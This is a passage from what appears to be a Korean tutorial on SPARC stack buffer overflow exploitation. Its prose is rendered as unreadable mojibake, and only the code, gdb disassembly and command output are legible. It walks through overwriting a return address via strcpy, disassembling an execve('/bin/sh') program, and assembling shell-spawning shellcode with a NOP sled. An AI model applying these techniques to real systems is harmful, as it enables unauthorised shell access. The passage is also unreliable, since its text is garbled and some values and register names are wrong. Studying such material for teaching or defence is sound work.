ÇÏ°Ô µÇ¹Ç·Î, À̶§ Segmentation Fault(ȤÀº Bus Error)¿¡·¯°¡ ³ª°Ô µÈ´Ù. ¿¡·¯¸¦ ³»´Â °ÍÀ¸·Î ¸¸Á·ÇÏ¸é ¾ÈµÈ´Ù. ÀÌÁ¦ ¿ì¸®´Â bound(!)µÇ¾î ÀÖ´Â ¹è¿­À» strcpyµîÀ¸·Î bound checkingÀ» ÇÏÁö ¾Ê°í(!) ¿ì¸®°¡ ¿øÇÏ´Â ³»¿ëÀ» ³ÖÀ» ¼ö ÀÖ´Ù¸é ÇÔ¼ö¸¦ ºüÁ® ³ª°£ÈÄ ´ÙÀ½¿¡ ¾î´À address¸¦ ½ÇÇàÇϵµ·Ï Á¤ÇÒ ¼ö ÀÖ´Ù(!)¶ó´Â »ç½ÇÀ» ¾Ë°Ô µÇ¾ú´Ù. ÀÌÁ¦´Â ¿ì¸®°¡ ¿øÇÏ´Â code¸¦ ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â ÀÏÀÌ ³²¾ÆÀÖ´Ù. 6. Çѹø´õ °ËÁõÀ» Çغ¸ÀÚ. ¾Õ¿¡¼­ ¿ì¸®´Â boundµÇ¾î ÀÖ´Â ¹è¿­À» overflowÇÏ´Â ¹æ¹ý¿¡ ´ëÇؼ­ ¾Ë¾Æº¸¾Ò´Ù. ÀÌÁ¦ ¿ì¸®´Â overflowÇÏ´Â Å©±â¸¦ Á¶ÀýÇÔÀ¸·Î½á return address¸¦ ¹Ù²Ü ¼ö ÀÖ°Ô µÇ¾ú´Ù. ¾îÂ¥ÇÇ ¿ì¸®°¡ ¿øÇÏ´Â data¸¦ ³ÖÀ» ¼ö ÀÖ´Â °÷Àº boundµÇ¾î ÀÖ´Â ¹è¿­À̶ó°í ÇÒ ¶§ ¿ì¸®°¡ ½ÇÇàÇÏ°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥ ¶ÇÇÑ boundµÈ ¹è¿­¾ÈÂÊÀÏ ¼ö ¹Û¿¡ ¾ø´Ù. ´ÙÀ½ ÇÁ·Î±×·¥À» º¸ÀÚ. #include #define TARGET_SIZE 200 #define PUT_SIZE 400 void shit(char *in) { char ex[TARGET_SIZE]; strcpy(ex, in); } u_long get_sp(void) { __asm__("mov %sp, %i0 \n"); } void main(argc, argv) int argc; char **argv; { u_char in[PUT_SIZE]; int i; u_long *ret_addr; /* return address¿¡ Á¸ÀçÇÏ´Â °ª */ u_long *putaddr; /* return addrees¸¦ ³Ö¾îÁÖ±â À§ÇÑ pointerº¯¼ö */ u_long a; /* Áß°£ °è»êÀ» À§ÇÑ º¯¼ö */ int adder = 0; /* SP°ªÀ¸·Î ºÎÅÍÀÇ offset */ putaddr = in; if(argc > 1) adder = atoi(argv[1]); a = get_sp(); a += 112; a += adder; ret_addr = (u_long *) a; printf("return address : 0x%lx\n", *ret_addr); for(i = 0; i < PUT_SIZE / 4; i++) *(putaddr++) = ret_addr; shit(in); } ÀÌÁ¦ ÇÁ·Î±×·¥ÀÌ º¹ÀâÇØÁ®°¡±â ½ÃÀÛÇÑ´Ù. Á¤½ÅÀ» Â÷·Á¾ß ÇÒ ¶§°¡ µÇ¾ú´Ù. get_sp()¶ó´Â ÇÔ¼ö¿¡¼­ ºÎÅÍ ½ÃÀÛÇÏÀÚ. get_sp()ÇÔ¼ö´Â ÇöÀç SP°ªÀ» Àâ¾Æ³»´Â ÇÔ¼öÀε¥ ÀÌ°ÍÀº Assembly code¸¦ Á÷Á¢ Embed½ÃÄѼ­ ¸¸µç ÇÔ¼öÀÌ´Ù. *ret_addr´Â pointerÇÔ¼ö·Î ret_addr´Â ¿ì¸®°¡ ÁöÁ¤ÇÏ´Â address¸¦ °¡Áö¸ç, *ret_addr¿¡´Â ±× address¿¡ µé¾îÀÖ´Â 4byte°ªÀÌ µé¾îÀÖ°Ô µÈ´Ù. *putaddr¶ó´Â º¯¼ö´Â return address¸¦ ¹Þ¾Æ¼­ ±× °ªÀ» in¿¡ mappingÇϱâ À§ÇÑ °ÍÀÌ´Ù. ÀÌÁ¦ À§ ÇÁ·Î±×·¥ÀÌ ÇÏ´Â ÀÏ¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ. óÀ½¿¡ argument°¹¼ö¸¦ ¼¼¾î¼­ 2 ÀÌ»óÀÎ °æ¿ì, ù¹ø° argument°ªÀ» Á¤¼ö·Î ¹Þ¾Æ µéÀδÙ. ÀÌ °ÍÀ» adder¿¡ ³Ö´Âµ¥, ³ªÁß¿¡ offsetÀ¸·Î ´õÇØÁÖ´Â °ªÀÌ´Ù. ¸ÕÀú a¿¡ ÇöÀçÀÇ SP°ªÀ» ¹Þ´Â´Ù. ±×´ÙÀ½¿¡ 112¸¦ ´õÇߴµ¥, ÀÌ°ÍÀ» ÀÌÇØÇÏ·Á¸é ÀÌÀü¿¡ ¼³¸íÇß´ø stack region¿¡ ´ëÇؼ­ ´Ù½ÃÇѹø »ý°¢ÇØ º¸¾Æ¾ß ÇÑ´Ù. get_sp()´Â main()¿¡¼­ ºÒ¸®¿öÁ³´Ù. ±×·¯¸é mainÀÇ ¹Ù·Î À§ region¿¡ 112byte¸¦ ÇÒ´çÇÏ°Ô µÇ´Âµ¥, ±× °úÁ¤¿¡¼­ sp°ªÀ» 112»©µµ·Ï(!) µÇ¾î ÀÖ´Ù. ±×·¡¾ß stackÀÌ ÀâÈù °ÍÀÌ µÇ´Ï±î. ±×·¯¸é get_sp()¿¡¼­ ¾ò´Â sp°ªÀº mainÀÇ °ÍÀÌ ¾Æ´Ï¶ó, get_sp()¶ó´Â ÇÔ¼ö³»ÀÇ sp°ªÀÌ µÇ°í, ÀÌ °ªÀº Á¤È®È÷ mainÀ¸·Î ºÎÅÍ 112 Â÷ÀÌ°¡ ³ª´Â °ªÀÌ´Ù. ±×·¯¹Ç·Î, mainÀÇ sp´Â ±¸ÇÑ °ª + 112 ÀÌ µÈ´Ù. ±×´ÙÀ½¿¡ a¿¡ adder¸¦ ´õÇϴµ¥, ÀÌ°ÍÀº óÀ½¿¡ keyinÀ¸·Î ¹Þ´Â ù¹ø° argumentÀÌ´Ù. ÀÌ°ÍÀº ¿ì¸®°¡ testÇϴµ¥, »ç¿ëÇϱâ·Î ÇÑ´Ù. ±×·± ÈÄ¿¡ ±× address °ªÀ» ret_addr¿¡ ³Ö´Â´Ù. ±×·¯¸é ret_addr´Â ±× address¸¦ °¡Áö°Ô µÇ¸ç, *ret_addr¿¡´Â ±× address¿¡ µé¾îÀÖ´Â °ª(!)ÀÌ µÈ´Ù. ÀÌÁ¦ debugging¿ëÀ¸·Î *ret_addr°ªÀ» Ãâ·ÂÇÑ ÈÄ, 120 byteÀÇ in ¹è¿­¿¡, ¹Þ¾Ò´ø *ret_addr°ªÀ» mappingÇØÁØ´Ù. ±×¸®°í, shit()¸¦ callÇÑ´Ù. À§ÀÇ ÇÁ·Î±×·¥Àº overflow attack¿¡¼­ ÇÑ¹ß µÚ·Î ¹°·¯¼± °ÍÀÌ´Ù. memory mappingÀÇ »óŸ¦ ÆľÇÇÏ°í, return address¸¦ ½ÇÁ¦·Î ¹Ð¾î³»°í ÀÖ´ÂÁö ¿©ºÎ¸¦ »ìÆ캸±â À§ÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. ÀÌÁ¦ ½ÇÇà°á°ú¸¦ º¸ÀÚ. % a.out 56 ret address : 0xeffffda8 À߸øµÈ ¸í·É(Illegal Instruction) (¸Þ¸ð¸®°¡ ´ýÇÁµÊ) % a.out 0 ret address : 0xef794060 À߸øµÈ ¸í·É(Illegal Instruction) (¸Þ¸ð¸®°¡ ´ýÇÁµÊ) % a.out 60 ret address : 0x10688 % óÀ½¿¡ 56À» ³Ö¾úÀ» ¶§¿¡´Â ±× À§Ä¡°¡ main()ÀÇ stack regionÁß sfp°ª°ú Á¤È®È÷(!) ÀÏÄ¡ÇÑ´Ù. À̶§ return addressºÎºÐÀÌ 0xeffffda8·Î ÁöÁ¤ÀÌ µÇ¹Ç·Î, ±×ÂÊÀ» ½ÇÇàÇÏ°íÀÚ ÇÏ´Â »óÅ¿¡¼­ error°¡ ³µ´Ù. 0À» ³ÖÀ¸¸é spÀÚ¸®¿¡ ÀÖ´Â ³»¿ëÀ» return address·Î ¾²·Á ÇÏ°í, ±×ÀÚ¸® ¶ÇÇÑ ½ÇÇàÇÏ°íÀÚ ÇÒ ¶§ error°¡ ³­´Ù. ±×·¯³ª, 60À» ÁÖ¸é, ±× À§Ä¡´Â Á¤È®È÷ main()ÀÇ stack regionÁß¿¡¼­ retºÎºÐÀÌ µÇ¹Ç·Î, in ¹è¿­¿¡´Â ret¿¡ ÀÖ´Â ÁÖ¼Ò°ªÀ¸·Î mappingµÇ°í, ±×·¯¸é ret°ªÀº º¯È­°¡ ¾ø°ÔµÇ°í, Á¾·áµµ Àß µÇ¾ú´Ù. ¿©±â¼­ ´©±º°¡ stack region¿¡ ´ëÇؼ­ Àǹ®À» °¡Áö°Ô µÉÁöµµ ¸ð¸¥´Ù. main¿¡¼­ get_sp()¸¦ ÇÏ°í ³­ ÈÄ, shit()¸¦ callÇßÀ¸¹Ç·Î, shit()ÀÇ regionÀº get_sp()ÀÇ À§¿¡ À§Ä¡ÇØ¾ß µÇÁö ¾Ê´À³Ä´Â °ÍÀÌ´Ù. ±×·¯³ª, ±×°ÍÀº stackÀ» À߸ø ÀÌÇØÇÑ Å¿ÀÌ´Ù. ´ÙÀ½Àº ÀÌ ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÉ ¶§ stack regionÀÇ º¯È­ÀÌ´Ù. óÀ½¿¡´Â ¾Æ¹«°Íµµ ¾ø´Ù°¡ main()ÀÌ ½ÇÇàµÇ¸é¼­ ´ÙÀ½°ú °°ÀÌ º¯ÇÑ´Ù. [Image] ±× ÈÄ, get_sp()°¡ ½ÇÇàµÇ¸é ´ÙÀ½°ú °°´Ù. [Image] get_sp()°¡ ½ÇÇàÀÌ ³¡³ª°í returnÀÌ µÇ¸é(!) ´ÙÀ½°ú °°ÀÌ º¯ÇÑ´Ù. [Image] ±×·± ÈÄ¿¡ shit()ÀÌ ½ÇÇàµÇ±â ½ÃÀÛÇϸé ÀÌÁ¦ ÀÌ·¸°Ô µÈ´Ù. [Image] ÀÌ°ÍÀÌ ¹Ù·Î stackÀÌ´Ù. ±×·¡¼­ get_sp()ÀÇ Á¸Àç°¡ shit()ÇÔ¼ö¿¡ ¿µÇâÀ» ¹ÌÄ¡Áö ¾Ê¾Ò´Ù. ÀÌÁ¦ Á¤¸»·Î exploit¸¦ Çغ¸±â·Î ÇÏÀÚ. 7. Seed programÀº ¾î¶² ÇüÅÂÀ̾î¾ß Çϴ°¡? ¿ì¸®°¡ ¿øÇÏ°íÀÚ ÇÏ´Â °ÍÀº overflow¿¡ ÀÇÇÑ shellÀÇ ½ÇÇàÀÌ´Ù. overflow·Î ÇÒ ¼ö ÀÖ´Â ÀÏÀº ´ÙÀ½¿¡ ½ÇÇàÇÒ ÁÖ¼Ò¸¦ ÁöÁ¤ÇÏ´Â °ÍÀ̶ó°í Çß¾ú´Ù. ±×·¸´Ù¸é ¾î¶² ¹æ½ÄÀ¸·Î shellÀ» »ý¼ºÇÒ ¼ö ÀÖÀ»±î? ±×°ÍÀº °£´ÜÇÏ´Ù. ¾Æ·¡ÀÇ ±×¸²À» º¸¸ç »ý°¢Çغ¸ÀÚ. [Image] ¾Õ¿¡¼­µµ ¾ð±ÞÇßÁö¸¸, ¿ì¸®°¡ ÀÏ´ÜÀº(!) ½á¸ÔÀ» ¼ö ÀÖ´Â ºÎºÐÀÌ sub ÇÁ·Î±×·¥ ³»ÀÇ string bufferÀÌ´Ù. string buffer¸¦ overflow½ÃÄѼ­ Àü functionÀÇ ret¸¦ ¹Ù²Ù¾î ¿øÇÏ´Â Àå¼Ò¸¦ ½ÇÇàÇÒ ¼ö ÀÖ°Ô ÇÒ ¼ö ÀÖ´Ù. ±×·¯¸é ¾î¶² ºÎºÐÀ» ½ÇÇàÇÏ°Ô ÇØ¾ß Çϴ°¡ ÇÏ´Â °ÍÀÌ ¹®Á¦·Î ³²¾ÆÀÖ´Ù. ¾îÂ¥ÇÇ ¿ì¸®°¡ °Çµå¸± ¼ö ÀÖ´Â ºÎºÐÀÌ string buffer¶ó¸é shell codeµµ string buffer¾È¿¡ µé¾î°¡¾ß ÇÑ´Ù. ±×·¸´Ù¸é ret ÁÖ¼Ò´Â ¾îµð¸¦ Àâ´Â °ÍÀÌ ÁÁÀº°¡? ±×°ÍÀº string bufferÀÇ ¸Ç óÀ½ ºÎºÐÀ» °¡¸®Å°´Â °ÍÀÌ ÁÁÀ» °ÍÀÌ´Ù. ±×·¯¸é ÇöÀç »óÅ¿¡¼­ÀÇ string buffer°¡ °¡Á®¾ßÇÒ ÇüÅ´ ´ÙÀ½°ú °°´Ù. [Image] ¿©±â¿¡¼­ ÇѹøÀ» ´õ »ý°¢Çغ¸ÀÚ. bufferÀÇ ½ÃÀÛÀ§Ä¡¸¦ ½ÇÁ¦·Î ¿Ïº®ÇÏ°Ô Ã£¾Æ³»´Â °ÍÀº ½±Áö ¾ÊÀº ÀÏÀÌ°í, ¶ÇÇÑ ¿©À¯ºÐÀ¸·Î ±× ÀÚ¸®´Â ¾à°£ ´À½¼ÇÏ°Ô ¸¸µå´Â°ÍÀÌ ÁÁÀ» °ÍÀÌ´Ù. ±×·¸´Ù¸é ¾î¶² ¹æ¹ýÀÌ ÀÖÀ»±î? °¡Àå °£´ÜÇÑ ¹æ¹ýÀº "nop", °ð no operation code¸¦ ³Ö´Â ¹æ¹ýÀÌ´Ù. ±×·¯¸é nopÀÚ¸®¿¡ °É¸®°Ô µÇ¸é ÀÚµ¿À¸·Î ¿ì¸®°¡ ¿øÇÏ´Â code¸¦ ½ÇÇàÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ´ÙÀ½ ±×¸²Àº NOP±îÁö °í·ÁÇÑ string bufferÀÇ ¸ð¾çÀÌ´Ù. [Image] ¾î·µç shell code´Â ±â°èÄÚµåÀÏ ¼ö ¹Û¿¡ ¾øÀ¸¹Ç·Î, shell code¸¦ ¾î¼Àºí¸®·Î ¸¸µé¾î º»´Ù. ¸ÕÀú ´ÙÀ½Äڵ带 ÄÄÆÄÀÏ Çغ¸ÀÚ. #include main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } À§ ÇÁ·Î±×·¥Àº "/bin/sh"À» ½ÇÇà½ÃÅ°´Â ÇÁ·Î±×·¥ÀÌ´Ù. À§ ÇÁ·Î±×·¥À» ½ÇÇàÇغ¸¸é ´ÙÀ½°ú °°Àº °á°ú¸¦ ¾ò´Â´Ù. % gcc -static -g sh.c -o shass % shass $ ±×·¸´Ù¸é À§ ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 À§¿¡¼­ À̾߱âÇÑ shell code°¡ µé¾î°¥ ºÎºÐ¿¡ ³Ö´Â´Ù¸é shellÀ» ¶ç¿ï ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù. ÀÌÁ¦ À§ ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 È®ÀÎÇغ¸ÀÚ. arirang:/home/seoro/work/overflow-basics%gdb shass (gdb) disassemble main Dump of assembler code for function main: 0x10150
: save %sp, -120, %sp 0x10154 : sethi %hi(0x10000), %o1 0x10158 : or %o1, 0x3b8, %o0 0x1015c : st %o0, [ %fp + -24 ] 0x10160 : clr [ %fp + -20 ] 0x10164 : add %fp, -24, %o1 0x10168 : ld [ %fp + -24 ], %o0 0x1016c : clr %o2 0x10170 : call 0x1024c 0x10174 : nop 0x10178 : ret 0x1017c : restore End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 0x10254 : bcc 0x10268 <_mutex_lock> 0x10258 : sethi %hi(0x10000), %o5 0x1025c : or %o5, 0x278, %o5 ! 0x10278 <_cerror> 0x10260 : jmp %o5 0x10264 : nop End of assembler dump. (gdb) % À§¿¡¼­ ÄÄÆÄÀÏ ÇÒ ´ç½Ã -staticÀ̶ó´Â ¿É¼ÇÀ» ÁÖ¾ú´Âµ¥, ÀÌ°ÍÀ» ÁÖÁö ¾ÊÀ¸¸é ÇÔ²² linkµÇ´Â execve¿¡ °üÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ¾ø´Ù. execveÀÇ ¾î¼Àºí¸® Äڵ带 º¸±â À§Çؼ­, -static ¿É¼ÇÀ» ÁÖ¾ú´Ù. À§ ÇÁ·Î±×·¥Àº sparc ¾î¼Àºí¸® ÄÚµå·Î ¾î¼Àºí¸®¸¦ Àß ¸ð¸£´Â »ç¶÷µéÀ» À§Çؼ­ ÇÑ line¾¿ ¼³¸íÀ» ÇÏ°Ú´Ù. 0x10150
: save %sp, -120, %sp ÀÌ°ÍÀº stack frameÀ» Àâ¾ÆÁÖ´Â ºÎºÐÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥ÀÇ main¿¡¼­´Â 120byteÀÇ stackÀ» Àâ¾ÆÁÖ°í ÀÖ´Ù. 0x10154 : sethi %hi(0x10000), %o1 sethi¸í·ÉÀº ÁÖ¼Ò¸¦ ÁöÁ¤ÇÒ ¶§ ÁÖ·Î ¾²ÀÌ´Â ¸í·ÉÀε¥, Àüä 32bitÀÇ ³»¿ëÁß¿¡¼­ »óÀ§ 22bit¸¦ ÁöÁ¤ÇÑ´Ù. À§¸í·É¿¡ ÀÇÇؼ­ %o1À̶ó´Â ·¹Áö½ºÅÍ¿¡ 0x00010000À̶ó´Â °ªÀÌ ÀúÀåµÇ¾ú´Ù. sethi¸í·ÉÀ¸·Î´Â »óÀ§ 22bit¹Û¿¡ ÁöÁ¤À» ÇÒ ¼ö ¾ø±â ¶§¹®¿¡ ¹Ù·Î ´ÙÀ½¿¡ or ¸í·ÉÀ¸·Î Ãß°¡ÇÏ´Â °ÍÀÌ º¸ÅëÀÌ´Ù. 0x10158 : or %o1, 0x3b8, %o0 or¸í·ÉÀº ±×´ë·Î OR¿¬»êÀ» ÇÏ´Â ¸í·ÉÀÌ´Ù. sparc asembly ü°è¿¡¼­ ¼¼ ÀÎÀÚ¸¦ °¡Áö¸é ù¹ø°, µÎ¹ø° ÀÎÀÚ´Â °è»êµÇ´Â °ªÀÌ µÇ°í, ¸¶Áö¸· ÀÎÀÚ¿¡ ÀúÀåÇÏ´Â ÇüŸ¦ °®´Â´Ù. À§ÀÇ ¿¬»êÀº sethi·Î 22bitÀ» ¹Þ¾Æ³õÀº %o1·¹Áö½ºÅÍÀÇ °ª¿¡ 0x3b8ÀÇ °ªÀ» ´õÇؼ­ %o0¶ó´Â ·¹Áö½ºÅÍ¿¡ °ªÀ» ÀúÀåÇÏ°í ÀÖ´Ù. °á±¹, %o0·¹Áö½ºÅÍ¿¡ µé¾î°¡´Â °ªÀº 0x10000 + 0x3b8 = 0x103b8À̶ó´Â °ªÀÌ µÈ´Ù. 0x1015c : st %o0, [ %fp + -24 ] st ¸í·ÉÀº ·¹Áö½ºÅÍ¿¡ ÀÖ´Â °ªÀ» ¾î¶² Àå¼Ò¿¡ ÀúÀåÇØÁÖ´Â ¸í·ÉÀ¸·Î %o0¿¡ ÀÖ´Â °ªÀ» fp(frame pointer)·Î ºÎÅÍ 24¸¸Å­ ¶³¾îÁø Àå¼Ò¿¡ ÀúÀåÇ϶ó´Â °ÍÀÌ´Ù. 0x10160 : clr [ %fp + -20 ] clr´Â 0À¸·Î ¸®¼ÂÇÏ´Â ¸í·ÉÀ¸·Î fp·Î ºÎÅÍ 20¶³¾îÁø °÷À» 0·Î ¸¸µé¾ú´Ù. 0x10164 : add %fp, -24, %o1 ÀÌ ¸í·ÉÀº À§¿¡¼­ ¸»ÇÑ ¼¼ÀÎÀÚ Ã¼°è·Î fp°ª¿¡ 24¸¦ »«°ÍÀ» %o1¿¡ ÀúÀåÇÏ¿´´Ù. 0x10168 : ld [ %fp + -24 ], %o0 ¾Æ±î fp-24ÀÇ ¸Þ¸ð¸® À§Ä¡¿¡ ³Ö¾îµÎ¾ú´ø 0x103b8À̶ó´Â °ª ÀÚü¸¦ %o0¿¡ ·ÎµùÇÏ´Â ¸í·ÉÀÌ´Ù. 0x1016c : clr %o2 %o2·¹Áö½ºÅÍ´Â 0À¸·Î ¸®¼ÂµÇ¾ú´Ù. 0x10170 : call 0x1024c ¿©±â¿¡¼­ µåµð¾î execveÇÔ¼ö¸¦ callÇÑ´Ù. ¿©±â¿¡¼­ ÀÚ¼¼È÷ º¸¾Æ µÎ¾î¾ß ÇÏ´Â °ÍÀÌ ÀÖ´Ù. ±×°ÍÀº execveÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ ÀÎÀÚ¸¦ ³Ñ°ÜÁÖ´Â ¹æ¹ýÀÌ´Ù. ¿ø·¡ÀÇ C ÇÁ·Î±×·¥¿¡¼­ execve°¡ ¾î¶»°Ô È£ÃâµÇ¾ú´ÂÁö ¸ÕÀú »ìÆ캸ÀÚ. execve(name[0], name, NULL); ¸ÕÀú "/bin/sh"À̶ó´Â ½ºÆ®¸µÀÌ µé¾îÀÖ´Â ºÎºÐÀ» óÀ½¿¡ ÁöÁ¤ÇØ ÁÖ°í, ÀÌ nameÀ̶ó´Â Àüü ¹è¿­ÀÇ ¾îµå·¹½º¸¦ µÎ¹ø°·Î, ¸¶Áö¸·Àº NULLÀ» ÁöÁ¤Çß´Ù. ÀÌ°ÍÀ» À§ ¾î¼Àºí¸® ÄÚµå¿Í ºñ±³Çغ¸¸é Àç¹ÌÀÖ´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖ´Ù. %o0°¡ ù¹ø° ÀÎÀÚÀÇ °ªÀ» °¡Áö°í ÀÖ°í, %o1ÀÌ µÎ¹ø° ÀÎÀÚ¸¦, %o2°¡ ¼¼¹ø° ÀÎÀÚ¸¦ °¡Áö°í ÀÖ´Ù. ±×·¸°Ô ÇÏ°í ³ª¼­ execve¸¦ callÇÏ¿´´Ù. ±×·¯¸é ÀÌÁ¦ execve code¸¦ »ìÆ캸ÀÚ. 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 ÀÌ ºÎºÐÀÌ ¹Ù·Î execveÀÇ Á¤Ã¼ÀÌ´Ù. %g1·¹Áö½ºÅÍ¿¡ 0x3b¶ó´Â °ªÀ» ¹èÁ¤ÇÏ°í, ta 8·Î ¸¶Ä¡ x86°è¿­¿¡¼­ÀÇ int(ÀÎÅÍ·´Æ®)¸í·Éó·³ ÀÌ ¼­ºñ½º ·çƾÀ» ºÎ¸£°Ô µÈ´Ù. ¹°·Ð °¢ ÀÎÀÚ´Â %o0, %o1, %o2¼¼°÷¿¡ µé¾îÀÖ´Ù. ±×·¯¸é ½ÇÁ¦·Î ¿ì¸®°¡ ÇÊ¿äÇÑ ºÎºÐÀ» µû·Î »©³»¾î »ìÆ캼 ¼ö ÀÖ´Ù. sethi %hi(0x10000), %o1 or %o1, 0x3b8, %o0 st %o0, [ %fp + -24 ] clr [ %fp + -20 ] add %fp, -24, %o1 ld [ %fp + -24 ], %o0 clr %o2 mov 0x3b, %g1 ta 8 ´Ü Áß¿äÇÑ °ÍÀº 0x103b8ÀÇ À§Ä¡¿¡ "/bin/sh"À̶ó´Â stringÀÌ ÀÖ´Ù´Â »ç½ÇÀÌ´Ù. ÀǽÉÀÌ °¡¸é Çѹø È®ÀÎÇغ¸ÀÚ. (gdb) x/bx 0x103b8 0x103b8 <_lib_version+8>: 0x2f (gdb) 0x103b9 <_lib_version+9>: 0x62 (gdb) 0x103ba <_lib_version+10>: 0x69 (gdb) 0x103bb <_lib_version+11>: 0x6e (gdb) 0x103bc <_lib_version+12>: 0x2f (gdb) 0x103bd <_lib_version+13>: 0x73 (gdb) 0x103be <_lib_version+14>: 0x68 (gdb) 0x103bf <_lib_version+15>: 0x00 (gdb) 0x2f´Â Ascii·Î '/'¿Í ÀÏÄ¡ÇÏ°í, 0x62´Â Ascii·Î b¿Í ÀÏÄ¡ÇÑ´Ù. ÀÌ·± ½ÄÀ¸·Î match¸¦ Çغ¸¸é "/bin/sh\0"·Î Á¤È®È÷ ¸Â¾Æ¶³¾îÁüÀ» ¾Ë ¼ö ÀÖ´Ù. ±×·¯¸é ÀÌÁ¦ °í¹Î °Å¸®°¡ »ý±ä´Ù. ¾î¶»°Ô "/bin/sh"À̶ó´Â stringÀ» ÁöÁ¤ÇÒ ¼ö ÀÖ´À³Ä´Â °ÍÀÌ´Ù. address¸¦ ÁöÁ¤ÇÏ´Â ¹æ¹ýÀº sethi/orµîÀÇ ¸í·ÉÀε¥, ¿ì¸®°¡ ³ÖÀ» ÀÌ shell code´Â ¼öÇàÁß ¾î´ÀÀ§Ä¡¿¡ µé¾î°¥Áö°¡ °¡º¯ÀûÀ̱⠶§¹®ÀÌ´Ù. ÀÌÁ¦ Æí¹ý(?)À» ½á¼­ ÀÌ°ÍÀ» °¡´ÉÇÏ°Ô Çغ¸ÀÚ. 8. »ó´ëÀûÀÎ À§Ä¡¿¡¼­µµ µ¿ÀÛÀÌ °¡´ÉÇϵµ·Ï ÇÑ´Ù. ¾ÕÀý ±îÁö ´Ù·é °ÍÀº overflow½ÃŲ °÷À¸·Î shellÀ» ¶ç¿ì´Â ÇÁ·Î±×·¥À» ³Ö´Â ¹æ½Ä(!)Àε¥, ÄÚµå ÀÚü°¡ »ó´ëÀûÀÎ À§Ä¡¸¦ °®´Â´Ù´Â Á¡¿¡¼­ ¹®Á¦Á¡ÀÌ ÀÖ¾ú´Ù. "/bin/sh"À̶ó´Â ¾î¶² ½ºÆ®¸µ ÀÚü¸¦ Æ÷ÀÎÆà ÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀÌ ÇÊ¿äÇѵ¥, ÀÌ°ÍÀ» ¾îµå·¹½ÌÇÒ ¹æ¹ýÀÌ ¾ø´Ù´Â °ÍÀÌ Å« ¹®Á¦ÀÌ´Ù. ¾îÂ¥ÇÇ overflowµÇ´Â °÷¿¡ µé¾î°¡´Â °ÍÀº ¿ì¸®°¡ ¸¸µç seed ÇÁ·Î±×·¥ ¹Û¿¡ ¾ø´Ù°í »ý°¢ÇÒ ¶§ seed¾È¿¡¼­ ó¸®ÇÒ ¼ö ¹Û¿¡ ¾ø´Â °ÍÀº ´ç¿¬ÇÑ ÀÏÀÌ´Ù. ÀÌÁ¦ ·¹Áö½ºÅ͸¦ ÀÌ¿ëÇÏ¿©, ÀÌ /bin/shÀ̶ó´Â °ÍÀ» Áý¾î³ÖÀº °Í¿¡ ´ëÇؼ­ »ý°¢ÇØ º¸±â·Î ÇÏ°Ú´Ù. ¾î¶»°Ôµç /bin/shÀ» ¸Þ¸ð¸® »ó¿¡ ¸ÅÇÎÀ» ÇØÁÖ¾î¾ß ÇϹǷÎ, ¾²ÀÌÁö ¾Ê´Â ·¹Áö½ºÅÍ¿¡ ÀÌ °ªÀ» ÀúÀåÇÏ´Â ¹æ¹ýÀ» ÅÃÇÑ´Ù. ÇÑ ·¹Áö½ºÅÍ ³»¿¡ µé¾î°¡´Â Å©±â´Â Á¤È®È÷ 4 byteÀ̹ǷÎ, /bin/shÀ» "/bin"°ú "/sh\0"·Î ÂÉ°µ´Ù. À̰͵éÀ» ¾²Áö ¾Ê´Â ·¹Áö½ºÅÍ %l6°ú %l7¿¡ ÀúÀåÇÏ´Â ¸í·ÉÀ» »ý°¢ÇÏ¸é ´ÙÀ½°ú °°´Ù. ¾îÂ¥ÇÇ ÇѲ¨¹ø¿¡ 4byte¸¦ ·¹Áö½ºÅÍ¿¡ ³Ö´Â ¹æ¹ýÀÌ ¾ø¾î¼­, sethi¿Í orÀ» °â¿ëÇÑ »ç½ÇÀ» ±â¾ïÇÒ °ÍÀÌ´Ù. sethi´Â »óÀ§ 22bit¸¦ ä¿ì´Â ±â´ÉÀ» ´ã´çÇÏ°í ÀÖ´Ù. ±×·¸´Ù¸é ¿ì¸®°¡ ³Ö°íÀÚ ÇÏ´Â ½ºÆ®¸µ ÀÚüµµ 22bit¿Í ³ª¸ÓÁö 10bit·Î ÂÉ°³´Â ÀÛ¾÷À» Çؾ߸¸ ÇÑ´Ù. "/bin" Àº 16Áø¼ö·Î 0x2f 62 f9 6eÀÌ´Ù. ÀÌ°ÍÀ» »óÀ§ 22bit¿Í ÇÏÀ§ 10bit·Î ÂÉ°³¸é 0x2f626800°ú 0x16e·Î ³ª´¶´Ù. "/sh\0"À» 16Áø¼ö·Î ³ªÅ¸³»¸é 0x2f 73 68 00 À¸·Î Á¤ÇØÁö´Âµ¥, ÀÌ°ÍÀ» »óÀ§¿Í ÇÏÀ§·Î ³ª´©¸é 0x2f736800 °ú 0x000À¸·Î ÂÉ°³Áø´Ù. ÀÚ ±×·¯¸é ÀÌµé °ªÀ» ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ·Á¸é ´ÙÀ½°ú °°ÀÌ ÇÏ¸é µÈ´Ù. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %17 À§ÀÇ µÎÁÙÀº %16¿¡ "/bin"À̶ó´Â ½ºÆ®¸µÀ» ±â¾ï½ÃŲ °ÍÀÌ°í, ¾Æ·¡ µÎÁÙÀº %l7¿¡ "/sh\0"À̶ó´Â ½ºÆ®¸µÀ» ³ÖÀº °ÍÀÌ´Ù. »óÀ§ 22bit´Â sethi¸¦ ÀÌ¿ëÇÏ¿´°í, ÇÏÀ§ 10bit´Â orÀ» ÀÌ¿ë ÀÌÀü¿¡ sethi·Î Àâ¾Æ ³õÀº 